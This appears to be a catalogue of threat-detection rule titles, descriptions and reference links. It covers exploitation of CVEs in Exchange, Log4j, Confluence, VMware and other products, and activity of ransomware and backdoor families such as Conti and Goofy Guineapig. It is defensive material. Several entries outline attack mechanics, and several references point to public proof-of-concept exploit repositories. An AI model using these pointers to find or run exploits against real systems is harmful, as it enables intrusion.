Oracle WebLogic Exploit CVE-2021-2109	Detects the exploitation of the WebLogic server vulnerability described in CVE-2021-2109	https://twitter.com/pyn3rd/status/1351696768065409026, https://mp.weixin.qq.com/s/wX9TMXl1KVWwB_k6EZOklw
CVE-2021-21972 VSphere Exploitation	Detects the exploitation of VSphere Remote Code Execution vulnerability as described in CVE-2021-21972	https://www.vmware.com/security/advisories/VMSA-2021-0002.html, https://f5.pm/go-59627.html, https://swarm.ptsecurity.com/unauth-rce-vmware
CVE-2021-21978 Exploitation Attempt	Detects the exploitation of the VMware View Planner vulnerability described in CVE-2021-21978	https://twitter.com/wugeej/status/1369476795255320580, https://paper.seebug.org/1495/
VMware vCenter Server File Upload CVE-2021-22005	Detects exploitation attempts using file upload vulnerability CVE-2021-22005 in the VMWare vCenter Server.	https://kb.vmware.com/s/article/85717, https://www.tenable.com/blog/cve-2021-22005-critical-file-upload-vulnerability-in-vmware-vcenter-server
Fortinet CVE-2021-22123 Exploitation	Detects CVE-2021-22123 exploitation attempt against Fortinet WAFs	https://www.rapid7.com/blog/post/2021/08/17/fortinet-fortiweb-os-command-injection
Pulse Connect Secure RCE Attack CVE-2021-22893	This rule detects exploitation attempts using Pulse Connect Secure(PCS) vulnerability (CVE-2021-22893)	https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html, https://kb.pulsesecure.net/articles/Pulse_Security_Advisories/SA44784
Potential Atlassian Confluence CVE-2021-26084 Exploitation Attempt	Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2021-26084	https://nvd.nist.gov/vuln/detail/CVE-2021-26084, https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html, https://github.com/h3v0x/CVE-2021-26084_Confluence
Potential CVE-2021-26084 Exploitation Attempt	Detects potential exploitation of CVE-2021-260841 a Confluence RCE using OGNL injection	https://github.com/TesterCC/exp_poc_library/blob/master/exp_poc/CVE-2021-26084_Confluence_OGNL_injection/CVE-2021-26084.md, https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md, https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html, https://mraddon.blog/2017/03/20/confluence-trick-to-create-pages-from-blueprint-templates/
Exploitation of CVE-2021-26814 in Wazuh	Detects the exploitation of the Wazuh RCE vulnerability described in CVE-2021-26814	https://github.com/WickdDavid/CVE-2021-26814/blob/6a17355a10ec4db771d0f112cbe031e418d829d5/PoC.py
Potential CVE-2021-26857 Exploitation Attempt	Detects possible successful exploitation for vulnerability described in CVE-2021-26857 by looking for \| abnormal subprocesses spawning by Exchange Server's Unified Messaging service	https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/
CVE-2021-26858 Exchange Exploitation	Detects possible successful exploitation for vulnerability described in CVE-2021-26858 by looking for creation of non-standard files on disk by Exchange Server’s Unified Messaging service which could indicate dropping web shells or other malicious content	https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/
ProxyLogon Reset Virtual Directories Based On IIS Log	When exploiting this vulnerability with CVE-2021-26858, an SSRF attack is used to manipulate virtual directories	https://bi-zone.medium.com/hunting-down-ms-exchange-attacks-part-1-proxylogon-cve-2021-26855-26858-27065-26857-6e885c5f197c
Potential CVE-2021-27905 Exploitation Attempt	Detects exploitation attempt of the CVE-2021-27905 which affects all Apache Solr versions prior to and including 8.8.1.	https://twitter.com/Al1ex4/status/1382981479727128580, https://twitter.com/sec715/status/1373472323538362371, https://nsfocusglobal.com/apache-solr-arbitrary-file-read-and-ssrf-vulnerability-threat-alert/, https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247484117&idx=1&sn=2fdab8cbe4b873f8dd8abb35d935d186, https://github.com/murataydemir/CVE-2021-27905
Exchange Exploitation CVE-2021-28480	Detects successful exploitation of Exchange vulnerability as reported in CVE-2021-28480	https://twitter.com/GossiTheDog/status/1392965209132871683?s=20
CVE-2021-33766 Exchange ProxyToken Exploitation	Detects the exploitation of Microsoft Exchange ProxyToken vulnerability as described in CVE-2021-33766	https://www.zerodayinitiative.com/blog/2021/8/30/proxytoken-an-authentication-bypass-in-microsoft-exchange-server
Serv-U Exploitation CVE-2021-35211 by DEV-0322	Detects patterns as noticed in exploitation of Serv-U CVE-2021-35211 vulnerability by threat group DEV-0322	https://www.microsoft.com/security/blog/2021/07/13/microsoft-discovers-threat-actor-targeting-solarwinds-serv-u-software-with-0-day-exploit/
Suspicious Word Cab File Write CVE-2021-40444	Detects file creation patterns noticeable during the exploitation of CVE-2021-40444	https://twitter.com/RonnyTNL/status/1436334640617373699?s=20, https://twitter.com/vanitasnk/status/1437329511142420483?s=21
Potential CVE-2021-40444 Exploitation Attempt	Detects potential exploitation of CVE-2021-40444 via suspicious process patterns seen in in-the-wild exploitations	https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-40444, https://twitter.com/neonprimetime/status/1435584010202255375, https://www.joesandbox.com/analysis/476188/1/iochtml
Potential Exploitation Attempt From Office Application	Detects Office applications executing a child process that includes directory traversal patterns. This could be an attempt to exploit CVE-2022-30190 (MSDT RCE) or CVE-2021-40444 (MSHTML RCE)	https://twitter.com/sbousseaden/status/1531653369546301440, https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-40444, https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190
ADSelfService Exploitation	Detects suspicious access to URLs that was noticed in cases in which attackers exploitated the ADSelfService vulnerability CVE-2021-40539	https://us-cert.cisa.gov/ncas/alerts/aa21-259a
CVE-2021-40539 Zoho ManageEngine ADSelfService Plus Exploit	Detects an authentication bypass vulnerability affecting the REST API URLs in ADSelfService Plus (CVE-2021-40539).	https://therecord.media/cisa-warns-of-zoho-server-zero-day-exploited-in-the-wild/, https://www.manageengine.com/products/self-service-password/kb/how-to-fix-authentication-bypass-vulnerability-in-REST-API.html, https://us-cert.cisa.gov/ncas/alerts/aa21-259a
InstallerFileTakeOver LPE CVE-2021-41379 File Create Event	Detects signs of the exploitation of LPE CVE-2021-41379 that include an msiexec process that creates an elevation_service.exe file	https://web.archive.org/web/20220421061949/https://github.com/klinix5/InstallerFileTakeOver, https://www.zerodayinitiative.com/advisories/ZDI-21-1308/
Potential CVE-2021-41379 Exploitation Attempt	Detects potential exploitation attempts of CVE-2021-41379 (InstallerFileTakeOver), a local privilege escalation (LPE) vulnerability where the attacker spawns a "cmd.exe" process as a child of Microsoft Edge elevation service "elevation_service" with "LOCAL_SYSTEM" rights	https://web.archive.org/web/20220421061949/https://github.com/klinix5/InstallerFileTakeOver, https://www.bleepingcomputer.com/news/microsoft/new-windows-zero-day-with-public-exploit-lets-you-become-an-admin/, https://www.zerodayinitiative.com/advisories/ZDI-21-1308/, https://www.logpoint.com/en/blog/detecting-privilege-escalation-zero-day-cve-2021-41379/
LPE InstallerFileTakeOver PoC CVE-2021-41379	Detects PoC tool used to exploit LPE vulnerability CVE-2021-41379	https://web.archive.org/web/20220421061949/https://github.com/klinix5/InstallerFileTakeOver
CVE-2021-41773 Exploitation Attempt	Detects exploitation of flaw in path normalization in Apache HTTP server 2.4.49. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally this flaw could leak the source of interpreted files like CGI scripts. This issue is known to be exploited in the wild. This issue only affects Apache 2.4.49 and not earlier versions.	https://nvd.nist.gov/vuln/detail/CVE-2021-41773, https://github.com/apache/httpd/commit/e150697086e70c552b2588f369f2d17815cb1782, https://twitter.com/ptswarm/status/1445376079548624899, https://twitter.com/h4x0r_dz/status/1445401960371429381, https://github.com/projectdiscovery/nuclei-templates/blob/9d2889356eebba661c8407038e430759dfd4ec31/cves/2021/CVE-2021-41773.yaml, https://twitter.com/bl4sty/status/1445462677824761878
Sitecore Pre-Auth RCE CVE-2021-42237	Detects exploitation attempts of Sitecore Experience Platform Pre-Auth RCE CVE-2021-42237 found in Report.ashx	https://blog.assetnote.io/2021/11/02/sitecore-rce/, https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1000776
Potential CVE-2021-42278 Exploitation Attempt	The attacker creates a computer object using those permissions with a password known to her. After that she clears the attribute ServicePrincipalName on the computer object. Because she created the object (CREATOR OWNER), she gets granted additional permissions and can do many changes to the object.	https://cloudbrothers.info/en/exploit-kerberos-samaccountname-spoofing/
Suspicious Computer Account Name Change CVE-2021-42287	Detects the renaming of an existing computer account to a account name that doesn't contain a $ symbol as seen in attacks against CVE-2021-42287	https://medium.com/@mvelazco/hunting-for-samaccountname-spoofing-cve-2021-42287-and-domain-controller-impersonation-f704513c8a45
Grafana Path Traversal Exploitation CVE-2021-43798	Detects a successful Grafana path traversal exploitation	https://grafana.com/blog/2021/12/07/grafana-8.3.1-8.2.7-8.1.8-and-8.0.7-released-with-high-severity-security-fix/, https://github.com/search?q=CVE-2021-43798
CVE-2021-44077 POC Default Dropped File	Detects the creation of "msiexec.exe" in the "bin" directory of the ManageEngine SupportCenter Plus (Related to CVE-2021-44077) and public POC available (See references section)	https://thedfirreport.com/2022/06/06/will-the-real-msiexec-please-stand-up-exploit-leads-to-data-exfiltration/, https://github.com/horizon3ai/CVE-2021-44077/blob/b7a48e25824e8ead95e028475c7fd0e107e6e6bf/exploit.py
Potential CVE-2021-44228 Exploitation Attempt - VMware Horizon	Detects potential initial exploitation attempts against VMware Horizon deployments running a vulnerable versions of Log4j.	https://portswigger.net/daily-swig/vmware-horizon-under-attack-as-china-based-ransomware-group-targets-log4j-vulnerability, https://twitter.com/TheDFIRReport/status/1482078434327244805, https://www.pwndefend.com/2022/01/07/log4shell-exploitation-and-hunting-on-vmware-horizon-cve-2021-44228/
Log4j RCE CVE-2021-44228 Generic	Detects exploitation attempt against log4j RCE vulnerability reported as CVE-2021-44228 (Log4Shell)	https://web.archive.org/web/20231230220738/https://www.lunasec.io/docs/blog/log4j-zero-day/, https://news.ycombinator.com/item?id=29504755, https://github.com/tangxiaofeng7/apache-log4j-poc, https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b, https://github.com/YfryTchsGD/Log4jAttackSurface, https://twitter.com/shutingrz/status/1469255861394866177?s=21
Log4j RCE CVE-2021-44228 in Fields	Detects exploitation attempt against log4j RCE vulnerability reported as CVE-2021-44228 in different header fields found in web server logs (Log4Shell)	https://web.archive.org/web/20231230220738/https://www.lunasec.io/docs/blog/log4j-zero-day/, https://news.ycombinator.com/item?id=29504755, https://github.com/tangxiaofeng7/apache-log4j-poc, https://gist.github.com/Neo23x0/e4c8b03ff8cdf1fa63b7d15db6e3860b, https://github.com/YfryTchsGD/Log4jAttackSurface, https://twitter.com/shutingrz/status/1469255861394866177?s=21
Exchange ProxyShell Pattern	Detects URL patterns that could be found in ProxyShell exploitation attempts against Exchange servers (failed and successful)	https://youtu.be/5mqid-7zp8k?t=2231, https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html, https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1
Suspicious RazerInstaller Explorer Subprocess	Detects a explorer.exe sub process of the RazerInstaller software which can be invoked from the installer to select a different installation folder but can also be exploited to escalate privileges to LOCAL SYSTEM	https://twitter.com/j0nh4t/status/1429049506021138437, https://streamable.com/q2dsji
Successful Exchange ProxyShell Attack	Detects URP patterns and status codes that indicate a successful ProxyShell exploitation attack against Exchange servers	https://youtu.be/5mqid-7zp8k?t=2231, https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html, https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1
Potential SystemNightmare Exploitation Attempt	Detects an exploitation attempt of SystemNightmare in order to obtain a shell as LOCAL_SYSTEM	https://github.com/GossiTheDog/SystemNightmare
SonicWall SSL/VPN Jarrewrite Exploitation	Detects exploitation attempts of the SonicWall Jarrewrite Exploit	https://web.archive.org/web/20210126045316/https://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit/, https://github.com/darrenmartyn/VisualDoor
Potential BlackByte Ransomware Activity	Detects command line patterns used by BlackByte ransomware in different operations	https://redcanary.com/blog/blackbyte-ransomware/
Conti Volume Shadow Listing	Detects a command used by conti to find volume shadow backups	https://twitter.com/vxunderground/status/1423336151860002816?s=20, https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection
Conti NTDS Exfiltration Command	Detects a command used by conti to exfiltrate NTDS	https://twitter.com/vxunderground/status/1423336151860002816?s=20, https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection
Potential Conti Ransomware Activity	Detects a specific command used by the Conti ransomware group	https://news.sophos.com/en-us/2021/09/03/conti-affiliates-use-proxyshell-exchange-exploit-in-ransomware-attacks/, https://twitter.com/VK_Intel/status/1447795359900704769?t=Xz7vaLTvaaCZ5kHoZa6gMw&s=19
Potential Conti Ransomware Database Dumping Activity Via SQLCmd	Detects a command used by conti to dump database	https://twitter.com/vxunderground/status/1423336151860002816?s=20, https://www.virustotal.com/gui/file/03e9b8c2e86d6db450e5eceec057d7e369ee2389b9daecaf06331a95410aa5f8/detection, https://docs.microsoft.com/en-us/sql/tools/sqlcmd-utility?view=sql-server-ver15
DarkSide Ransomware Pattern	Detects DarkSide Ransomware and helpers	https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html, https://app.any.run/tasks/8b9a571b-bcc1-4783-ba32-df4ba623b9c0/, https://www.joesandbox.com/analysis/411752/0/html#7048BB9A06B8F2DD9D24C77F389D7B2B58D2
Potential Devil Bait Related Indicator	Detects the creation of ".xml" and ".txt" files in folders of the "\AppData\Roaming\Microsoft" directory by uncommon processes. This behavior was seen common across different Devil Bait samples and stages as described by the NCSC	https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/devil-bait/NCSC-MAR-Devil-Bait.pdf
Potential Devil Bait Malware Reconnaissance	Detects specific process behavior observed with Devil Bait samples	https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/devil-bait/NCSC-MAR-Devil-Bait.pdf, https://www.virustotal.com/gui/file/fa71eee906a7849ba3f4bab74edb577bd1f1f8397ca428591b4a9872ce1f1e9b/behavior
Devil Bait Potential C2 Communication Traffic	Detects potential C2 communication related to Devil Bait malware	https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/devil-bait/NCSC-MAR-Devil-Bait.pdf
FoggyWeb Backdoor DLL Loading	Detects DLL hijacking technique used by NOBELIUM in their FoggyWeb backdoor. Which loads a malicious version of the expected "version.dll" dll	https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor/
Goofy Guineapig Backdoor IOC	Detects malicious indicators seen used by the Goofy Guineapig malware	https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/goofy-guineapig/NCSC-MAR-Goofy-Guineapig.pdf
Potential Goofy Guineapig Backdoor Activity	Detects a specific broken command that was used by Goofy-Guineapig as described by the NCSC report.	https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/goofy-guineapig/NCSC-MAR-Goofy-Guineapig.pdf
Potential Goofy Guineapig GoolgeUpdate Process Anomaly	Detects "GoogleUpdate.exe" spawning a new instance of itself in an uncommon location as seen used by the Goofy Guineapig backdoor	https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/goofy-guineapig/NCSC-MAR-Goofy-Guineapig.pdf
Goofy Guineapig Backdoor Potential C2 Communication	Detects potential C2 communication related to Goofy Guineapig backdoor	https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/goofy-guineapig/NCSC-MAR-Goofy-Guineapig.pdf
Goofy Guineapig Backdoor Service Creation	Detects service creation persistence used by the Goofy Guineapig backdoor	https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/goofy-guineapig/NCSC-MAR-Goofy-Guineapig.pdf
Moriya Rootkit File Created	Detects the creation of a file named "MoriyaStreamWatchmen.sys" in a specific location. This filename was reported to be related to the Moriya rootkit as described in the securelist's Operation TunnelSnake report.	https://securelist.com/operation-tunnelsnake-and-moriya-rootkit/101831
Pingback Backdoor File Indicators	Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report	https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel, https://app.any.run/tasks/4a54c651-b70b-4b72-84d7-f34d301d6406
Pingback Backdoor DLL Loading Activity	Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report	https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel, https://app.any.run/tasks/4a54c651-b70b-4b72-84d7-f34d301d6406
Pingback Backdoor Activity	Detects the use of Pingback backdoor that creates ICMP tunnel for C2 as described in the trustwave report	https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/backdoor-at-the-end-of-the-icmp-tunnel, https://app.any.run/tasks/4a54c651-b70b-4b72-84d7-f34d301d6406
Small Sieve Malware File Indicator Creation	Detects filename indicators that contain a specific typo seen used by the Small Sieve malware.	https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/small-sieve/NCSC-MAR-Small-Sieve.pdf
Small Sieve Malware CommandLine Indicator	Detects specific command line argument being passed to a binary as seen being used by the malware Small Sieve.	https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/small-sieve/NCSC-MAR-Small-Sieve.pdf
Small Sieve Malware Potential C2 Communication	Detects potential C2 communication related to Small Sieve malware	https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/goofy-guineapig/NCSC-MAR-Goofy-Guineapig.pdf
Small Sieve Malware Registry Persistence	Detects registry value with specific intentional typo and strings seen used by the Small Sieve malware	https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/small-sieve/NCSC-MAR-Small-Sieve.pdf
HAFNIUM Exchange Exploitation Activity	Detects activity observed by different researchers to be HAFNIUM group activity (or related) on Exchange servers	https://blog.truesec.com/2021/03/07/exchange-zero-day-proxylogon-and-hafnium/, https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/, https://discuss.elastic.co/t/detection-and-response-for-hafnium-activity/266289/3, https://twitter.com/GadixCRK/status/1369313704869834753?s=20, https://twitter.com/BleepinComputer/status/1372218235949617161
Exchange Exploitation Used by HAFNIUM	Detects exploitation attempts in Exchange server logs as described in blog posts reporting on HAFNIUM group activity	https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/, https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/
REvil Kaseya Incident Malware Patterns	Detects process command line patterns and locations used by REvil group in Kaseya incident (can also match on other malware)	https://community.sophos.com/b/security-blog/posts/active-ransomware-attack-on-kaseya-customers, https://www.joesandbox.com/analysis/443736/0/html, https://doublepulsar.com/kaseya-supply-chain-attack-delivers-mass-ransomware-event-to-us-companies-76e4ec6ec64b, https://therecord.media/revil-ransomware-executes-supply-chain-attack-via-malicious-kaseya-update/, https://blog.truesec.com/2021/07/04/kaseya-supply-chain-attack-targeting-msps-to-deliver-revil-ransomware/
APT PRIVATELOG Image Load Pattern	Detects an image load pattern as seen when a tool named PRIVATELOG is used and rarely observed under legitimate circumstances	https://web.archive.org/web/20210901184449/https://www.fireeye.com/blog/threat-research/2021/09/unknown-actor-using-clfs-log-files-for-stealth.html
SOURGUM Actor Behaviours	Suspicious behaviours related to an actor tracked by Microsoft as SOURGUM	https://www.virustotal.com/gui/file/c299063e3eae8ddc15839767e83b9808fd43418dc5a1af7e4f44b97ba53fbd3d/detection, https://github.com/Azure/Azure-Sentinel/blob/43e9be273dca321295190bfc4902858e009d4a35/Detections/MultipleDataSources/SOURGUM_IOC.yaml, https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/
DEWMODE Webshell Access	Detects access to DEWMODE webshell as described in FIREEYE report	https://www.mandiant.com/resources/blog/accellion-fta-exploited-for-data-theft-and-extortion
Potential CVE-2023-21554 QueueJumper Exploitation	Detects potential exploitation of CVE-2023-21554 (dubbed QueueJumper)	https://research.checkpoint.com/2023/queuejumper-critical-unauthorized-rce-vulnerability-in-msmq-service/
Potential CVE-2022-21587 Exploitation Attempt	Detects potential exploitation attempts of CVE-2022-21587 an arbitrary file upload vulnerability impacting Oracle E-Business Suite (EBS). CVE-2022-21587 can lead to unauthenticated remote code execution.	https://www.rapid7.com/blog/post/2023/02/07/etr-cve-2022-21587-rapid7-observed-exploitation-of-oracle-e-business-suite-vulnerability/, https://attackerkb.com/topics/Bkij5kK1qK/cve-2022-21587/rapid7-analysis, https://github.com/hieuminhnv/CVE-2022-21587-POC, https://blog.viettelcybersecurity.com/cve-2022-21587-oracle-e-business-suite-unauth-rce/
Potential CVE-2022-22954 Exploitation Attempt - VMware Workspace ONE Access Remote Code Execution	Detects potential exploitation attempt of CVE-2022-22954, a remote code execution vulnerability in VMware Workspace ONE Access and Identity Manager. As reported by Morphisec, part of the attack chain, threat actors used PowerShell commands that executed as a child processes of the legitimate Tomcat "prunsrv.exe" process application.	https://blog.morphisec.com/vmware-identity-manager-attack-backdoor, https://github.com/DrorDvash/CVE-2022-22954_VMware_PoC
CVE-2022-24527 Microsoft Connected Cache LPE	Detects files created during the local privilege exploitation of CVE-2022-24527 Microsoft Connected Cache	https://www.rapid7.com/blog/post/2022/04/12/cve-2022-24527-microsoft-connected-cache-local-privilege-escalation-fixed/
Potential CVE-2022-26809 Exploitation Attempt	Detects suspicious remote procedure call (RPC) service anomalies based on the spawned sub processes (long shot to detect the exploitation of vulnerabilities like CVE-2022-26809)	https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-26809, https://www.bleepingcomputer.com/startups/RpcSs.exe-14544.html, https://twitter.com/cyb3rops/status/1514217991034097664, https://www.securonix.com/blog/cve-2022-26809-remote-procedure-call-runtime-remote-code-execution-vulnerability-and-coverage/
Zimbra Collaboration Suite Email Server Unauthenticated RCE	Detects an attempt to leverage the vulnerable servlet "mboximport" for an unauthenticated remote command injection	https://www.volexity.com/blog/2022/08/10/mass-exploitation-of-unauthenticated-zimbra-rce-cve-2022-27925/, https://www.yang99.top/index.php/archives/82/, https://github.com/vnhacker1337/CVE-2022-27925-PoC
Potential CVE-2022-29072 Exploitation Attempt	Detects potential exploitation attempts of CVE-2022-29072, a 7-Zip privilege escalation and command execution vulnerability. 7-Zip version 21.07 and earlier on Windows allows privilege escalation (CVE-2022-29072) and command execution when a file with the .7z extension is dragged to the Help>Contents area. This is caused by misconfiguration of 7z.dll and a heap overflow. The command runs in a child process under the 7zFM.exe process.	https://github.com/kagancapar/CVE-2022-29072, https://twitter.com/kagancapar/status/1515219358234161153
CVE-2022-31659 VMware Workspace ONE Access RCE	Detects possible exploitation of VMware Workspace ONE Access Admin Remote Code Execution vulnerability as described in CVE-2022-31659	https://petrusviet.medium.com/dancing-on-the-architecture-of-vmware-workspace-one-access-eng-ad592ae1b6dd
Suspicious Set Value of MSDT in Registry (CVE-2022-30190)	Detects set value ms-msdt MSProtocol URI scheme in Registry that could be an attempt to exploit CVE-2022-30190.	https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190, https://msrc-blog.microsoft.com/2022/05/30/guidance-for-cve-2022-30190-microsoft-support-diagnostic-tool-vulnerability/
CVE-2022-31656 VMware Workspace ONE Access Auth Bypass	Detects the exploitation of VMware Workspace ONE Access Authentication Bypass vulnerability as described in CVE-2022-31656 VMware Workspace ONE Access, Identity Manager and vRealize Automation contain an authentication bypass vulnerability affecting local domain users. A malicious actor with network access to the UI may be able to obtain administrative access without the need to authenticate.	https://petrusviet.medium.com/dancing-on-the-architecture-of-vmware-workspace-one-access-eng-ad592ae1b6dd
Apache Spark Shell Command Injection - Weblogs	Detects attempts to exploit an apache spark server via CVE-2014-6287 from a weblogs perspective	https://github.com/W01fh4cker/cve-2022-33891/blob/fd973b56e78bca8822caa3a2e3cf1b5aff5d0950/cve_2022_33891_poc.py, https://sumsec.me/2022/CVE-2022-33891%20Apache%20Spark%20shell%20command%20injection.html, https://github.com/apache/spark/pull/36315/files
Atlassian Bitbucket Command Injection Via Archive API	Detects attempts to exploit the Atlassian Bitbucket Command Injection CVE-2022-36804	https://twitter.com/_0xf4n9x_/status/1572052954538192901, https://www.rapid7.com/blog/post/2022/09/20/cve-2022-36804-easily-exploitable-vulnerability-in-atlassian-bitbucket-server-and-data-center/, https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html, https://blog.assetnote.io/2022/09/14/rce-in-bitbucket-server/
Potential OWASSRF Exploitation Attempt - Proxy	Detects exploitation attempt of the OWASSRF variant targeting exchange servers It uses the OWA endpoint to access the powershell backend endpoint	https://www.crowdstrike.com/blog/owassrf-exploit-analysis-and-recommendations/, https://www.rapid7.com/blog/post/2022/12/21/cve-2022-41080-cve-2022-41082-rapid7-observed-exploitation-of-owassrf-in-exchange-for-rce/
OWASSRF Exploitation Attempt Using Public POC - Proxy	Detects exploitation attempt of the OWASSRF variant targeting exchange servers using publicly available POC. It uses the OWA endpoint to access the powershell backend endpoint	https://www.crowdstrike.com/blog/owassrf-exploit-analysis-and-recommendations/, https://www.rapid7.com/blog/post/2022/12/21/cve-2022-41080-cve-2022-41082-rapid7-observed-exploitation-of-owassrf-in-exchange-for-rce/, https://twitter.com/purp1ew0lf/status/1602989967776808961?s=12&t=OkZJl_ViICeiftVEsohRyw
Potential OWASSRF Exploitation Attempt - Webserver	Detects exploitation attempt of the OWASSRF variant targeting exchange servers It uses the OWA endpoint to access the powershell backend endpoint	https://www.crowdstrike.com/blog/owassrf-exploit-analysis-and-recommendations/, https://www.rapid7.com/blog/post/2022/12/21/cve-2022-41080-cve-2022-41082-rapid7-observed-exploitation-of-owassrf-in-exchange-for-rce/
OWASSRF Exploitation Attempt Using Public POC - Webserver	Detects exploitation attempt of the OWASSRF variant targeting exchange servers using publicly available POC. It uses the OWA endpoint to access the powershell backend endpoint	https://www.crowdstrike.com/blog/owassrf-exploit-analysis-and-recommendations/, https://www.rapid7.com/blog/post/2022/12/21/cve-2022-41080-cve-2022-41082-rapid7-observed-exploitation-of-owassrf-in-exchange-for-rce/, https://twitter.com/purp1ew0lf/status/1602989967776808961?s=12&t=OkZJl_ViICeiftVEsohRyw
Suspicious Sysmon as Execution Parent	Detects suspicious process executions in which Sysmon itself is the parent of a process, which could be a sign of exploitation (e.g. CVE-2022-41120)	https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-41120, https://twitter.com/filip_dragovic/status/1590052248260055041, https://twitter.com/filip_dragovic/status/1590104354727436290
Exploitation Indicator Of CVE-2022-42475	Detects exploitation indicators of CVE-2022-42475 a heap-based buffer overflow in sslvpnd.	https://www.fortiguard.com/psirt/FG-IR-22-398, https://www.bleepingcomputer.com/news/security/fortinet-says-ssl-vpn-pre-auth-rce-bug-is-exploited-in-attacks/, https://www.deepwatch.com/labs/customer-advisory-fortios-ssl-vpn-vulnerability-cve-2022-42475-exploited-in-the-wild/, https://community.fortinet.com/t5/FortiGate/Technical-Tip-Critical-vulnerability-Protect-against-heap-based/ta-p/239420
Potential Centos Web Panel Exploitation Attempt - CVE-2022-44877	Detects potential exploitation attempts that target the Centos Web Panel 7 Unauthenticated Remote Code Execution CVE-2022-44877	https://seclists.org/fulldisclosure/2023/Jan/1, https://www.rapid7.com/blog/post/2023/01/19/etr-exploitation-of-control-web-panel-cve-2022-44877/
Potential CVE-2022-46169 Exploitation Attempt	Detects potential exploitation attempts that target the Cacti Command Injection CVE-2022-46169	https://github.com/0xf4n9x/CVE-2022-46169, https://github.com/Cacti/cacti/security/advisories/GHSA-6p93-p743-35gf, https://github.com/rapid7/metasploit-framework/pull/17407
MSSQL Extended Stored Procedure Backdoor Maggie	This rule detects the execution of the extended storage procedure backdoor named Maggie in the context of Microsoft SQL server	https://medium.com/@DCSO_CyTec/mssql-meet-maggie-898773df3b01
BlueSky Ransomware Artefacts	Detect access to files and shares with names and extensions used by BlueSky ransomware which could indicate a current or previous encryption attempt.	https://unit42.paloaltonetworks.com/bluesky-ransomware/
Potential Bumblebee Remote Thread Creation	Detects remote thread injection events based on action seen used by bumblebee	https://thedfirreport.com/2022/09/26/bumblebee-round-two/
ChromeLoader Malware Execution	Detects execution of ChromeLoader malware via a registered scheduled task	https://github.com/xephora/Threat-Remediation-Scripts/tree/main/Threat-Track/CS_INSTALLER, https://twitter.com/th3_protoCOL/status/1480621526764322817, https://twitter.com/Kostastsale/status/1480716528421011458, https://www.virustotal.com/gui/file/ded20df574b843aaa3c8e977c2040e1498ae17c12924a19868df5b12dee6dfdd
Emotet Loader Execution Via .LNK File	Detects the Emotet Epoch4 loader as reported by @malware_traffic back in 2022. The ".lnk" file was delivered via phishing campaign.	https://web.archive.org/web/20220422215221/https://twitter.com/malware_traffic/status/1517622327000846338, https://twitter.com/Cryptolaemus1/status/1517634855940632576, https://tria.ge/220422-1pw1pscfdl/, https://tria.ge/220422-1nnmyagdf2/
Hermetic Wiper TG Process Patterns	Detects process execution patterns found in intrusions related to the Hermetic Wiper malware attacks against Ukraine in February 2022	https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia
Raspberry Robin Subsequent Execution of Commands	Detects raspberry robin subsequent execution of commands.	https://redcanary.com/blog/raspberry-robin/
